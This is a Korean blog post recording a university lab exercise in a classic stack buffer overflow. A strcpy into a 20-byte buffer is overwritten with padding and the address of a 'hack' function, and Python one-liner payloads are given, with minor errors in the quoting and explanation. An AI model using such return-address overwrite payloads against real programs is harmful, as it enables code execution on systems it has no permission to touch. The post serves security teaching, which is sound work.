[๋ชจ์˜ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ ์‹ค์Šต

2024. 6. 3. 15:44ยท๐Ÿšจ ๋ณด์•ˆ ์‹ค๋ฌด/๋ชจ์˜ ํ•ดํ‚น
728x90

! ์ด ํฌ์ŠคํŠธ์˜ ๋‚ด์šฉ์€ ์ „๊ณต ๊ฐ•์˜์—์„œ ๋‹ค๋ฃฌ ๋ฆฌ๋ˆ…์Šค ๋ณด์•ˆ ์‹ค์Šต์˜ ๊ธฐ๋ก์šฉ์ด๋ฉฐ, ์ด๋Š” ํ•™์Šต ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

! ์–ด๋– ํ•œ ๊ฒฝ์šฐ์—๋„ ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์•…์šฉํ•˜๊ฑฐ๋‚˜ ๋ถˆ๋ฒ•์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

 

! ๋ชจ์˜ ํ•ดํ‚น๊ณผ ๊ด€๋ จ๋œ ์‹ค์Šต์€ ํ•ฉ๋ฒ•์ ์ธ ํ™˜๊ฒฝ์—์„œ๋งŒ ์ˆ˜ํ–‰๋˜์–ด์•ผ ํ•˜๋ฉฐ, ๋ฌด๋‹จ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๋Š” ๋“ฑ์˜ ํ–‰์œ„๋Š” ๋ฒ•์ ์ธ ๋ฌธ์ œ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ํ•ญ์ƒ ์œค๋ฆฌ์ ์ธ ์ฑ…์ž„์„ ๊ฐ–๊ณ  ํ–‰๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

 

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ž€?

 

์ปดํ“จํ„ฐ ํ”„๋กœ๊ทธ๋žจ์ด ๊ณ ์ •๋œ ๊ธธ์ด์˜ ๋ฒ„ํผ(buffer)๋ณด๋‹ค ๋” ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ ค๊ณ  ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ๋‹จ์ˆœํ•œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์˜ค๋ฅ˜์ผ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ์•…์˜์ ์ธ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด๋‹ค

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ(Buffer Overflow Attack)์€ ์ฃผ๋กœ ์‹œ์Šคํ…œ ๊ถŒํ•œ์„ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ๋‹ค

 

 

๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํŒŒ์ผ ์ƒ์„ฑ

- (์ถ”๊ฐ€ ์˜ˆ์ •) -

 

gcc ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด ์ปดํŒŒ์ผ

 

์†Œ์ŠคํŒŒ์ผ์„ ์ปดํŒŒ์ผํ•˜์—ฌ ๋””๋ฒ„๊น… ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์‹คํ–‰ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค

# gcc -g -o overflow overflow.c
์˜ต์…˜ ์„ค๋ช…
gcc GNU Compiler Collection์˜ C ์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ช…๋ น์–ด
-g ๋””๋ฒ„๊น… ์ •๋ณด๋ฅผ ํฌํ•จํ•˜์—ฌ ์ปดํŒŒ์ผ
-o ์ถœ๋ ฅ ํŒŒ์ผ ์ด๋ฆ„

 

 

 

์‹คํ–‰ํŒŒ์ผ ๋‚ด 'hack' ํ•จ์ˆ˜ ์ฐพ๊ธฐ

 

 

์‹คํ–‰ํŒŒ์ผ์˜ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ์—์„œ 'hack' ๋ ˆ์ด๋ธ”์„ ๊ฒ€์ƒ‰ํ•˜๊ณ , ํ•ด๋‹น ๋ ˆ์ด๋ธ”์ด ํฌํ•จ๋œ ์ค„๊ณผ ๊ทธ ๋‹ค์Œ ๋‘ ์ค„์„ ์ถœ๋ ฅํ•œ๋‹ค.

# objdump -D overflow | grep -A2 hack. :
์˜ต์…˜ ์„ค๋ช…
objdump ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ, ์‹คํ–‰ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ถ„์„ํ•˜๊ณ  ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌํ•˜๋Š” ์œ ํ‹ธ๋ฆฌํ‹ฐ
-D ๋“  ์„น์…˜์„ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ
grep ํ…์ŠคํŠธ ๊ฒ€์ƒ‰ ๋„๊ตฌ๋กœ, ์ฃผ์–ด์ง„ ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋Š” ์ค„์„ ์ถœ๋ ฅ
-A2 ๋งค์น˜๋œ ์ค„๊ณผ ๋”๋ถˆ์–ด ๊ทธ ์ดํ›„์˜ N์ค„์„ ์ถ”๊ฐ€๋กœ ์ถœ๋ ฅ

 

๊ฒฐ๊ณผ๋Š” 'hack' ํ•จ์ˆ˜๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์ธ '0x08048614'์—์„œ ์‹œ์ž‘ํ•˜๋ฉฐ, ์ฒซ ๋‘ ๊ฐœ์˜ ์–ด์…ˆ๋ธ”๋ฆฌ ๋ช…๋ น์–ด์ธ 'push %ebp'์™€ 'mov %esp, %ebp'๋ฅผ ๋ณด์—ฌ์ค€๋‹ค

 

 

 

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ

 

ํŒŒ์ด์ฌ์„ ์ด์šฉํ•˜์—ฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ๋ฌธ์ž์—ด ์ž…๋ ฅํ•œ๋‹ค.

# ./overflow 'python -c 'print "A" *23''

 

 

์ฝ”๋“œ ๋ถ„์„

int main(int argc, char* argv[]){
	char buf[20];
    dumpcode((char*)buf, 32);
	...
}

 

char ํ˜•์œผ๋กœ 20byte ํฌ๊ธฐ์— buf๋ผ๋Š” ๋ฐฐ์—ด์„ ์„ ์–ธํ•œ๋‹ค. ์ด ๋ฐฐ์—ด์€ ์ž…๋ ฅ ๋ฌธ์ž์—ด์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋ฒ„ํผ์ด๋‹ค.

dumpcode๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋ฒ„ํผ์˜ ์ดˆ๊ธฐ ์ƒํƒœ๋ฅผ 32byte๊นŒ์ง€ ์ถœ๋ ฅํ•œ๋‹ค.

 

 

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด buf  ๋ฐฐ์—ด์˜ ์ด 32๋ฐ”์ดํŠธ ๊ฐ’์˜ ์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฒ˜์Œ 20๋ฐ”์ดํŠธ๋Š” buf ๋ฐฐ์—ด์— ๋ฌธ์ž์—ด์ด ์ €์žฅ ๋  ๊ฐ’์ด๊ณ , ๋ฐ”๋กœ ๋‹ค์Œ 4๋ฐ”์ดํŠธ๋Š” ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ, ๋‹ค์Œ 4๋ฐ”์ดํŠธ๋Š” ๋ณต๊ท€์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋œ๋‹ค.

 

 

int main(int argc, char* argv[]) {
	...
    
    printf("buf: %p\n", (void*)&buf); // ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅ
    strcpy(buf, argv[1]); // argv[1]์˜ ๋ฌธ์ž์—ด์„ ๋ฒ„ํผ์— ๋ณต์‚ฌ
    printf("s\n%s\n", buf); // ๋ฒ„ํผ์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅ
    
    ...
}

 

 

 

 

int main(int argc, char* argv[]) {
	...
    
    dumpcode((char*)buf, 32); // ๋ฒ„ํผ์˜ ๋ณ€๊ฒฝ๋œ ์ƒํƒœ๋ฅผ ์ถœ๋ ฅ
    return 0; // ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ
}

 

์œ„ ์ฝ”๋“œ์—์„œ strcpy๋ฅผ ํ†ตํ•ด ์ž…๋ ฅ๋ฐ›์€ ๋ฌธ์ž์—ด(23๊ฐœ์˜ A)์„ buf ๋ฐฐ์—ด์— ๋ณต์‚ฌํ•œ ํ›„ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์ฝ”๋“œ์ด๋‹ค.

 

 

์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด, ๋ฌธ์ž์—ด์ด ์ž…๋ ฅ๋˜๊ธฐ ์ „๊ณผ ๋‹ฌ๋ฆฌ ์ด 23๋ฐ”์ดํŠธ๊ฐ€ A ๋ฌธ์ž์—ด(์•„์Šคํ‚ค์ฝ”๋“œ : 0x41)๋กœ ์ฑ„์›Œ์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฒ˜์Œ ์„ค์ •ํ•œ buf์˜ ํฌ๊ธฐ์ธ 20byte๊ฐ€ ์ดˆ๊ณผ๋˜์–ด ๋’ค์— ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๊นŒ์ง€ ๋ฌธ์ž๋กœ ๋ฎ์–ด์ง„ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋˜๋Š” ๊ณผ์ •์„ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

 

 

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐœ์ƒ ํ›„ hack ํ•จ์ˆ˜ ์‹คํ–‰์‹œํ‚ค๊ธฐ

 

์œ„์—์„œ ํ™•์ธํ–ˆ๋˜ ๊ฒƒ์ฒ˜๋Ÿผ ์ฒ˜์Œ ์„ค์ •ํ•œ buf ํฌ๊ธฐ๋ฅผ ์ดˆ๊ณผํ•œ ์ž…๋ ฅ์„ ์ฃผ์–ด ๋‹ค์Œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ’์„ ๊ฐ•์ œ๋กœ ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ฎ์–ด์”Œ์šฐ๊ฒŒ ๋˜๋ฉด ์ด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

# objdump -D overflow | grep -A2 hack. :
# ./overflow 'python -c'print "A" *24 + "\x14\x86\x04\x08"''

 

์•ž์—์„œ ํ™•์ธํ–ˆ๋˜ hack() ํ•จ์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์ธ ' 0x08048614'์„ buf ํฌ๊ธฐ๋ฅผ ์ดˆ๊ณผํ•œ ๋ฌธ์ž์—ด ๋’ค์— ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ํ”„๋ ˆ์ž„ํฌ์ธํ„ฐ๊ฐ€ hack()ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ํ•œ๋‹ค.

 

 

 

์ด์ฒ˜๋Ÿผ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ด ๋ฎ์–ด์“ฐ์—ฌ์ ธ ํ”„๋กœ๊ทธ๋žจ์˜ ๋™์ž‘์ด ์˜ˆ๊ธฐ์น˜ ์•Š๊ฒŒ ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋กœ ์ธํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ถฉ๋Œํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ด ์ฝ”๋“œ๋Š” ๊ต์œก ๋ชฉ์ ์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์ง€๋งŒ, ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ๋Š” ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์™€ ๊ฐ™์€ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜์ง€ ์•Š๋„๋ก ์ž…๋ ฅ ๊ฒ€์ฆ์„ ์ฒ ์ €ํžˆ ํ•ด์•ผ ํ•œ๋‹ค. 

728x90

'๐Ÿšจ ๋ณด์•ˆ ์‹ค๋ฌด > ๋ชจ์˜ ํ•ดํ‚น' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[๋ชจ์˜ํ•ดํ‚น] ์œ ๋‹‰์Šค/๋ฆฌ๋ˆ…์Šค ๊ธฐ๋ฐ˜์˜ ์šด์˜์ฒด์ œ ์นจํˆฌ  (1) 2025.02.06
[๋ชจ์˜ ํ•ดํ‚น] Metasploitable์„ ์ด์šฉํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ  (1) 2024.06.03
[๋ชจ์˜ ํ•ดํ‚น] ์œˆ๋„์šฐ8 ์žฌ๋ถ€ํŒ… ์‹œ ์•…์„ฑ์ฝ”๋“œ ์‹คํ–‰  (1) 2024.03.05
[๋ชจ์˜ ํ•ดํ‚น] ์œˆ๋„์šฐ8/์œˆ๋„์šฐ10 OS ์นจํˆฌ ์ž‘์—…  (0) 2024.03.05
[๋ชจ์˜ ํ•ดํ‚น] ์œˆ๋„์šฐ7 OS ์นจํˆฌ ์ž‘์—…  (1) 2024.03.05
'๐Ÿšจ ๋ณด์•ˆ ์‹ค๋ฌด/๋ชจ์˜ ํ•ดํ‚น' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • [๋ชจ์˜ํ•ดํ‚น] ์œ ๋‹‰์Šค/๋ฆฌ๋ˆ…์Šค ๊ธฐ๋ฐ˜์˜ ์šด์˜์ฒด์ œ ์นจํˆฌ
  • [๋ชจ์˜ ํ•ดํ‚น] Metasploitable์„ ์ด์šฉํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ
  • [๋ชจ์˜ ํ•ดํ‚น] ์œˆ๋„์šฐ8 ์žฌ๋ถ€ํŒ… ์‹œ ์•…์„ฑ์ฝ”๋“œ ์‹คํ–‰
  • [๋ชจ์˜ ํ•ดํ‚น] ์œˆ๋„์šฐ8/์œˆ๋„์šฐ10 OS ์นจํˆฌ ์ž‘์—…
WISHee
WISHee
IT์™€ ๋ณด์•ˆ์— ๋Œ€ํ•œ ๊ณต๋ถ€ ๊ธฐ๋ก์„ ์ฐจ๊ณก์ฐจ๊ณก ์Œ“์•„๊ฐ€๋Š” ๊ธฐ์ˆ  ๋ธ”๋กœ๊ทธ ๐Ÿ›ก๏ธ๐Ÿ’ป
  • WISHee
    DevwithWish
    WISHee
  • ์ „์ฒด
    ์˜ค๋Š˜
    ์–ด์ œ
    • ๐ŸŒณ ROOT (128)
      • โ›“๏ธ ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ (10)
        • ๊ธฐ๋ณธ ๊ฐœ๋… (9)
        • ํŒจํ‚ท ๋ถ„์„ (1)
        • ์นจ์ž… ํƒ์ง€ ๋ฐ ๋ฐฉ์ง€ (0)
      • โš™๏ธ ์‹œ์Šคํ…œ ๋ณด์•ˆ (0)
        • ์šด์˜์ฒด์ œ ๋ณด์•ˆ (0)
        • ์ทจ์•ฝ์  ๋ถ„์„ (0)
        • ๋กœ๊ทธ ๋ถ„์„ (0)
      • ๐ŸŒ ์›น ๋ณด์•ˆ (1)
        • OWASP TOP 10 (1)
        • ์›น ์„œ๋ฒ„ ๋ณด์•ˆ (0)
        • ์›น ์ทจ์•ฝ์  ๋ถ„์„ (0)
      • โ˜๏ธ ํด๋ผ์šฐ๋“œ ๋ณด์•ˆ (3)
        • AWS (3)
      • ๐Ÿ” ์•”ํ˜ธํ™” & ์ธ์ฆ (3)
        • ์•”ํ˜ธํ™” ๊ฐœ๋… (2)
        • TLS,SSL (0)
        • ์ธ์ฆ & ์ ‘๊ทผ์ œ์–ด (1)
      • ๐Ÿšจ ๋ณด์•ˆ ์‹ค๋ฌด (30)
        • ๋ณด์•ˆ ๊ด€์ œ (14)
        • ๋ชจ์˜ ํ•ดํ‚น (12)
        • ์ทจ์•ฝ์  ์ง„๋‹จ (3)
        • ๋””์ง€ํ„ธํฌ๋ Œ์‹ (1)
      • ๐Ÿ“š ISMS & ISO27001 (9)
        • ISMS, ISMS-P ์ธ์ฆ (2)
      • ๐Ÿ“ฐ ๋ณด์•ˆ ๋‰ด์Šค & ํŠธ๋ Œ๋“œ (1)
        • ์ตœ์‹  ๋ณด์•ˆ ์ด์Šˆ (1)
        • ์‚ฌ์ด๋ฒ„ ์œ„ํ˜‘ ์ •๋ณด (0)
        • ๋ณด์•ˆ ์ปจํผ๋Ÿฐ์Šค ๋ฆฌ๋ทฐ (0)
      • ๐Ÿ”ฅ SKShieldusRookies (15)
        • Review (3)
        • PBL (0)
        • ๊ณผ์ œ (4)
        • ๋ชจ๋“ˆ ํ”„๋กœ์ ํŠธ (8)
        • ์ตœ์ข… ํ”„๋กœ์ ํŠธ (0)
      • ๐Ÿ—‚๏ธ Project (3)
        • SOAR (0)
        • BlockChain (3)
      • ๐Ÿงฉ Language (23)
        • Java (1)
        • Python (16)
        • Programmers (6)
      • ๐Ÿ‘ฅ ๋ฒ„์ „๊ด€๋ฆฌ & ํ˜‘์—…๋„๊ตฌ (9)
        • Git, GitHub (4)
        • etc (5)
      • ๐Ÿ’œ ์ผ์ƒ (21)
        • Boot Camp (4)
        • Study (6)
        • Travel (8)
        • Study Abroad (3)
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
    • ํƒœ๊ทธ
    • ๋ฐฉ๋ช…๋ก
  • ๋งํฌ

    • GitHub
  • ๊ณต์ง€์‚ฌํ•ญ

    • ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค!
  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    ํ”„๋กœ๊ทธ๋ž˜๋จธ์Šค
    flask
    slack
    ํ•ด์™ธ์—ฌํ–‰
    ์œ ๋Ÿฝํ•œ๋‹ฌ์—ฌํ–‰
    ํ”„๋ž‘์Šค์—ฌํ–‰
    ์œˆ๋„์šฐ๋ณด์•ˆ
    ๊นƒํ—ˆ๋ธŒ
    ํ˜‘์—…๋„๊ตฌ
    VSCode
    ์ •๋ณด๋ณด์•ˆ
    ๋ฆฌ๋ˆ…์Šค๋ณด์•ˆ
    ์œ ๋Ÿฝ์—ฌํ–‰
    Python
    ์™€์ด์–ด์ƒคํฌ
    ๋Ÿฐ๋˜์—ฌํ–‰
    sk์‰ด๋”์Šค๋ฃจํ‚ค์ฆˆ
    ํŒŒ์ด์ฌ
    ํŒŒ๋ฆฌ์—ฌํ–‰
    ์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค
    ๋ชจ์˜ํ•ดํ‚น
    ์˜นํ”Œ๋ขฐ๋ฅด
    ๋ธ”๋ก์ฒด์ธ์‹ค์Šต
    ๋ณด์•ˆ์‹ค์Šต
    ๋ชฝ์ƒ๋ฏธ์…ธ
    ์ฝ”๋”ฉํ…Œ์ŠคํŠธ
    ํ”Œ๋ผ์Šคํฌ
    ํ•œ๋‹ฌ์—ฌํ–‰
    git
    Github
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

  • 160x600
  • hELLOยท Designed By์ •์ƒ์šฐ.v4.10.3
WISHee
[๋ชจ์˜ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ ์‹ค์Šต
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”